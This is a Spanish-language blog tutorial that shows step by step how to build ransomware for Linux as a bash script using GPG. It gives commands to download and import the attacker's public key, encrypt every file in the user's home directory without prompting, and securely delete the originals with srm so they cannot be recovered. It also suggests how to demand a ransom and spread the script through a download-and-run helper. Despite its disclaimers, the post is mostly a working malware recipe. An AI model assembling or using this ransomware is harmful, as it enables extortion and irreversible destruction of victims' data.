Un ransomware para Linux usando GPG

Bienvenido al blog de Parzibyte. Vas a encontrar tutoriales y tips de programación, bases de datos, redes, electrónica e informática general. Ejemplos de código, aplicaciones gratuitas y open source

Un ransomware para Linux usando GPG

Hoy vamos a ver cómo crear un ransomware programado para Linux (será un shell script) utilizando GPG y el cifrado asimétrico; será más que nada un ejercicio didáctico pero claro que se puede llevar a la práctica (cosa que no recomiendo, en serio),

Si no sabes qué es un ransomware veamos lo que dice la wikipedia:

Un ransomware (del inglés ransom, «rescate», y ware, acortamiento de software) o “secuestro de datos” en español, es un tipo de programa dañino que restringe el acceso a determinadas partes o archivos del sistema operativo infectado, y pide un rescate a cambio de quitar esta restricción.

El ransomware que vamos a programar va a cifrar archivos con nuestra clave pública (que se va a descarga en la PC de la víctima), los cuales solo vamos a descifrar con nuestra clave privada (la cual solo posee el atacante).

Ransomware en Linux

Será un script de bash muy sencillo pero poderoso, con la única dependencia de GPG.

Descargo de responsabilidad

Como siempre lo digo, esto es para fines didácticos. No recomiendo usarlo en la vida real, puede tener consecuencias legales y esas cosas.

No me hago responsable de nada de lo que puedas hacer con esto.

En caso de que quieras probar el ransomware simplemente configura una máquina virtual o prueba en una PC de prueba 😉

Efectividad del ransomware

Como ventaja tenemos que los archivos van a estar encriptados con un sistema totalmente seguro, pues vamos a usar GPG, el cual se usa normalmente para proteger datos. Este sistema es utilizado por varias personas y no se ha logrado romper durante varios años.

Una desventaja es que la clave privada vamos a generarla antes de lanzar el ataque, así que si tenemos a dos usuarios, uno de ellos paga el rescate y le enviamos la clave privada, él podrá compartirla con los demás.

El problema anterior se solucionaría creando el par de claves en tiempo de ejecución y enviando la privada a un servidor; pero como eso hace el ataque más poderoso (y me da pereza hacerlo justo ahora) lo dejaré para otro post que involucre un lenguaje de programación, no simples comandos

Además, que la clave privada se quede “offline” en nuestra PC previene que se analice la RAM buscando la clave, así como se hace en otros ransomwares.

Generar clave pública y privada

Comencemos generando nuestra clave pública y nuestra clave privada. No voy a explicarlo a fondo porque esto ya lo expliqué en otro post.

La privada la guardamos y la pública la vamos a colocar de algún modo en la computadora de la víctima.

gpg --full-generate-key

1 – Generar par de claves con GPG

Cuando hemos generado las claves vamos a exportar la pública con gpg --export --armor tu_correo > clave.key:

2 – Exportar clave pública

Ya sé que en la imagen le puse la extensión gpg, me confundí, pero eso no importa. Para no hacer largo el script vamos a hacer que la clave se descargue dinámicamente; la he colocado en un gist:

En el gist se puede acceder a la versión raw, como lo veremos más adelante.

Por el momento eso es todo lo necesario; no elimines tu clave privada porque con esa se van a desencriptar los archivos secuestrados.

Descargar e importar clave pública

A partir de aquí suponemos que estamos dentro del script que va a ejecutar la víctima.

Para descargar la clave vamos a usar wget:

wget -O clave.key url_de_la_clave.key

Para importarla:

gpg --import clave.key

Con eso habremos importado la clave. Ya tenemos todo listo para el secuestro.

Cifrado

Para cifrar un archivo con GPG y la clave que recién importamos se ejecuta:

gpg -r correo@dominio.com --encrypt archivo

Pero hay un gran inconveniente y es que GPG no confía, así que pregunta si realmente deseamos cifrar con esa clave.

Después de investigar encontré que se puede pasar la opción --trust-model con el valor en always para que no pregunte, así que:

gpg -r correo@dominio.com --trust-model always --encrypt archivo

Pero… ¿Cuál archivo vamos a cifrar? No, no vamos a cifrar un archivo; vamos a cifrar todos y cada uno.

Recorrer directorio de manera recursiva

Para recorrer todo el árbol de una carpeta de manera recursiva (es decir, leer los archivos y si hay carpetas leer lo que tienen las carpetas) se utiliza el comando find.

find /home/luis ! -name "*.key" -type f -not -path "*/\.*"

Se ve complicado al inicio (y lo es, es el resultado de muchas pestañas del navegador abiertas) pero podemos descomponerlo.

Con ! -name "*.key" omitimos archivos que tengan la extensión .key, así no encriptamos la clave.

El -type f es para que sean únicamente archivos, y lo de -not -path "*/\.*" es para que no ponga los archivos ocultos, es decir, los que comienzan con un punto.

Si lo queremos ver de cierto modo, ese comando regresa una lista de archivos sin importar su profundidad.

Nota: en el script se recorre (recursivamente) el directorio /home/usuario, el cual se obtiene con getent passwd "$USER" | cut -d: -f6 pero si quieres puedes apuntar a / o a /home; todo depende de los permisos y de lo que quieras hacer.

Explicación de exec y find

El comando find permite ejecutar cierta acción por cada archivo que encuentre. Por ejemplo:

find *.txt -type f -exec cat "{}"\;

Eso imprimiría el contenido de todos los archivos con extensión txt.

Presta atención a lo que va después de -exec. Las llaves {} indican el archivo que find encuentra, así que si por ejemplo encuentra un archivo llamado hola.txt el comando se transformaría a:

cat "hola.txt"

El delimitador \; es, como su nombre lo dice, un delimitador.

Se pueden pasar múltiples ejecuciones. Así:

find *.txt -type f -exec cat "{}"\; -exec rm "{}"\;

Entonces lo que haremos serán 3 cosas:

  1. Imprimir el nombre del archivo que estamos encriptando (para que se vea como película de hackers)
  2. Encriptar el archivo con gpg
  3. Eliminar el archivo con srm, así no se puede recuperar con photorec ni testdisk.

Por cierto, vamos a buscar todos los archivos: documentos de Word, presentaciones, libros PDF, recetas de cocina, fotos de perritos, aplicaciones, etcétera; excepto aquellas con extensión .key

Todo eso dentro de find.

Nota: vamos a usar srm con el algoritmo por defecto, si quieres puedes usar otros como se indica en los comentarios de mi script o en esta página.

El rescate

Esto lo dejo a disposición del usuario, pero se debería proporcionar el correo y una dirección de pago, si quieres.

Para probar al usuario que eres justo puedes pedir que envíe un archivo, lo desencriptas con:

gpg --decrypt archivo.gpg > archivo.extension_original

Y se lo regresas. Recuerda que solo tú puedes desencriptar el archivo, pues solo tú posees la clave privada.

Poniendo todo junto

Hablar es de mal gusto, muéstrame el código.

Todo lo explicado puede ser puesto dentro de un script sh:

El arte de esto no radica en cómo se programa el ransomware, sino en cómo se propaga, y eso depende de cada persona.

Una forma fácil es subirlo a pastebin o un servidor propio, y crear otro script que lo descargue y lo ejecute.

Ransomware en ejecución

Para ejecutarlo sin darle permisos se puede pasar su contenido a bash. Una vez descargado:

cat script.sh | bash -

Y se va a ejecutar incluso sin permisos de superusuario.

Si quieres suprimir los mensajes no hagas echo o redirige la salida a /dev/null

Conclusión

Faltan muchas validaciones, pero el ransomware funciona. Espero que este ejemplo sirva para dos cosas:

  • Demostrar cómo se puede programar un ransomware
  • Demostrar cómo se puede dañar nuestra computadora si ejecutamos un script sin saber interpretar su contenido

De nuevo lo digo: no me hago responsable de lo que esto pueda causar.

Finalmente dejo el vídeo en YT para demostrar su uso. Si lo ves, no dudes sucribirte:

 

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

A %d blogueros les gusta esto: